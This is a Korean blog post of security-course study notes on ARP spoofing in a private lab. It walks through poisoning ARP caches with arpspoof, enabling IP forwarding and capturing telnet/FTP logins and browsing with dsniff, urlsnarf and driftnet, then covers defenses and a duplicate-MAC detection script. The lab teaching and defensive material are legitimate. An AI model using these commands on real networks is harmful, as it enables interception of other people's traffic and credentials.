http://cafe.naver.com/neteg/3101
ARP의 기본적인 개념은 우리 갓순태님의 강좌를 참고하도록하자. 갓갓순태 다시한번 경의를.
윈도우에서 임시적으로 MAC주소 변경하기
C:\> netsh interface show interface
C:\> netsh interface ip add neighbors "로컬 영역 연결" "192.168.20.200" "00-0c-29-d1-cc-22"
C:\> netsh interface ip delete neighbors "로컬 영역 연결" "192.168.20.200" "00-0c-29-d1-cc-22"
한번 통신하면 arp cache table에 저장이되고, MAC 주소가 틀리면 통신이 되지 않는다. ( IP <-> MAC)
ARP Spoofing Attack(ARP Cache Poisoing)
> 원격의 공격자는 알려진 IP에 대해 잘못된 MAC 주소를 계속 발생시켜 ARP cache가 잘못된 정보를 저장하도록 하여 로컬네트워크 상에서 서비스 거부 공격을 발생시킴
> 일반적으로 희생자 ARP Cache의 Gateway(Router) 주소를 공격자 MAC주소로 변조시켜서 외부로 나가는 데이터를 스니핑 하는데 이를 특별히 ARP Redirect 공격 이라한다.
> ARP Spoofing은 2계층 주소인 MAC주소를 속여서 트래픽을 스니핑(감청)하는 것이므로 2계층에서 동작.
> 2계층 주소는 서로 다른 네트워크로 라우팅 되지 않으므로 공격대상도 동일 네트워크 대역에 있어야 함.
> ARP Spoofing 공격에서 지속적으로 ARP reply 신호를 보내는 이유는 ARP cache에 동적으로 저장되는 정보는 일정시간 동안만 유지.
So, 지속적으로 Cache에 조작도니 정보를 저장하기 위해서는 지속적인 전송이 필요.
사용하는 툴
> nmap - 포트 스캐닝
> arpspoof - ARP Spoof 사용하는 툴
> driftnet - urlsnar 툴에 의한 URL 이미지 파일을 보여주는 툴
> urlsnarf - 웹 요청하는 URL을 잡아 주는 툴
> dsniff - 아이디 / 패스워드를 잡아주는 전문 툴
> webspy - urlsnar 툴에의한 URL을 웹브라우저로 전송하는 툴 //실습이 제한됨.
2. 사용 시스템
> firewall ( 192.168.20.100 )
> linux200 ( 192.168.20.200 )
> win2008 ( 192.168.20.201 )
> KaliLinux ( 192.168.20.50 )
----------- linux200 -------------Kali ---------------win2008----------
(Victim) (Attacker) (Victim)
( win2008 Server )
IP, MAC 정보 확인
C:\> ipconfig /all
C:\> arp -d
( Linux200 Server )
IP, MAC주소 확인.
# ifconfig eth0
( KaliLinux )
같은 네트워크에 존재하는 서버의 목록을 확인
# nmap -F 192.168.20.0/24
IPvs4 Forwarding 기능을 영구적으로 ON
# vi /etc/sysctl.conf
net.ipv4.ip_forward=0(기본값)
net.ipv4.ip_forward=1(수정)
[참고] IPv4 Frowrding 기능을 임시적으로 ON/OFF 시키는 방법
(IPv4 Forwarding OFF) # echo 0 > /proc/sys/net/ipv4/ip_forward
or
# sysctl -w net.ipv4.ip_forward=0
(IPv4 Forwarding ON) # echo 1 > /proc/sys/net/ipv4/ip_forward
or
# sysctl -w net.ipv4.ip_forward=1
# sysctl -p
wireshar를 실행하고 ARP 스푸핑 시도
[TERM 1]# arpspoof -i eth1 -t 192.168.20.200 192.168.20.201
> 192.168.20.200한테 192.168.20.201의 MAC주소를 공격자의 것으로 변조해서 보냄
[TERM 2]# arpspoof -i eth1 -t 192.168.20.201 192.168.20.202
> 192.168.20.201한테 192.168.20.200의 MAC주소를 공격자의 것으로 변조해서 보냄
( Linux200, Win2008 Server )
MAC 주소 확인
아무것도 안나온다.
( KaliLinux )
dsniff 명령어수행
# dsniff -i eth1 -t 23/tcp=telnet host 192.168.20.200 ( 스니핑 - 감청 )
( win 2008 )
Linux200 서버로 telent 서비스 로그인
( KaliLinux )
# dsniff -i eth1 -t 21/tcp=ftp host 192.168.20.200
( win 2008 )
Linux200 서버로 ftp 서비스 로그인
( KaliLinux )
( Linux200, Win2008 Server )
ARP Cache Table 확인
<실습 2>
--------Router--------------------Kali---------------Win2008-----------
(firewall) (Attacker) (Victim)
선수작업
firewall, Win2008
arp -d
위의 순서대로
# nmap -F 192.168.20.100
# arpspoof -i eth1 -t 192.168.20.100 192.168.20.201
# arpspoof -i eth1 -t 192.168.20.201 192.168.20.100
[TERM 4]
# driftnet -i eth1
[TERM 5]
# urlsnarf -i eth1
( Win2008 Server )
이것저것 인터넷 서핑
( Kali Linux )
잘 되진 않지만 그래도 언뜻 상대가 뭘 보는지 언뜻 감은 잡힌다.
ARP Spoofing 증상
> (증상) 네트워크 부하량이 걸린다 ( 인터넷이 느려진다. )
> (확인) '#apr -a'에 중복된 MAC 주소가 존재한다 //서버 단에서 확인하는 방법
> (해결) arp cache table에 static 상태로 정보를 넣는다. == arp -s 옵션으로 주는 것.
서버 장비에서의 방어
> static arp table로 설정
>> 수동으로 설정할 경우 ARP Cache Table의 정보를 변조하지 못한다.
But, 이중 게이트웨이가 네트워크에 존재할 시에는 사용할수 없고 네트워크 변경 시 수동으로 바꾸어야 하는 불편함이 있다.
네트워크 장비에서의 방어
> 시스코 장비의 Port Security 기능을 사용하여 각각의 포트에 물리적인 MAC주소를 정적(static)으로 설정
> Port Security는 대부분의 스위치에서 제공하는 기능.
> 스위치의 각 포트별로 MAC 주소를 정적으로 설정하여, 설정된 MAC주소만 해당 포트를 통해 통신을 허용되도록 할 수 있음.
> 스위치환경에서 ARP를 위조하여 스니핑하거나 Ddos 공격을 차단하는데 효과적.
Port Security의 기능 구현
> 스위치의 각 포트별로 허용된 MAC주소를 지정.
> 특정한 MAC주소를 가진 트래픽을 스위치에서 차단 할수 있음
> 각 포트 별로 허용 가능한 MAC 수를 지정하여 이 수치를 초과할 경우 초과된 MAC주소는 더 이상 통신이 되지 않도록 차단 설정하거나 해당 포트를 아예 일정 시간 동안 또는 영구적으로 shutdown하도록 설정 할 수 있음.
네트워크 관리자의 대응법
> 감염 대상 파악
>> 가장 핵심은 주 감염원을 파악하는 것. ARP 스푸핑이 처음 발견되면 빠른 시간내에 MAC주소를 모니터링해서 감염원을 찾고 그 라인을 제거 해야한다. 게이트웨이의 IP를 가지려는 MAC주소의 장비를 필히 확인.
> 모든 하위 네트워크 상의 PC를 치료
> 장비 재정비
해킹당한 서버들은 다 밀어버린다.
ARP Spoofing 스크립트
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 |
#!/bin/bash
START=200
END=202
NET=192.168.20
LOG=/var/log/arpwatch.log
while [ $START -le $END ]
do
ping -c 1 $NET.$START >/dev/null 2>&1
START=`expr $START + 1`
done
arp -an > /root/bin/arp.txt 2> /dev/null
COUNT=`cat /root/bin/arp.txt | awk '{print $4}' | sort | uniq -d | wc -l`
if [ $COUNT -ge 1 ] ; then
echo -e "TIME: `date` - ARP Spoofing now.\t\t[ WARN ]" >> $LOG
else
echo -e "TIME: `date` - ARP Spoofing now.\t\t[ OK ]" >> $LOG
fi
rm -f /root/bin/arp.txt |
cs |
[참고 할만한 사이트]
'보안과정 > 네트워크' 카테고리의 다른 글
전송계층(Transport Layer) (0) | 2017.10.19 |
---|---|
IP주소 (0) | 2017.10.18 |
네트워크 인터페이스 계층(Network Interface Layer) (0) | 2017.10.17 |
TCP/IP 4계층 (0) | 2017.10.16 |
OSI 7 계층 (0) | 2017.10.16 |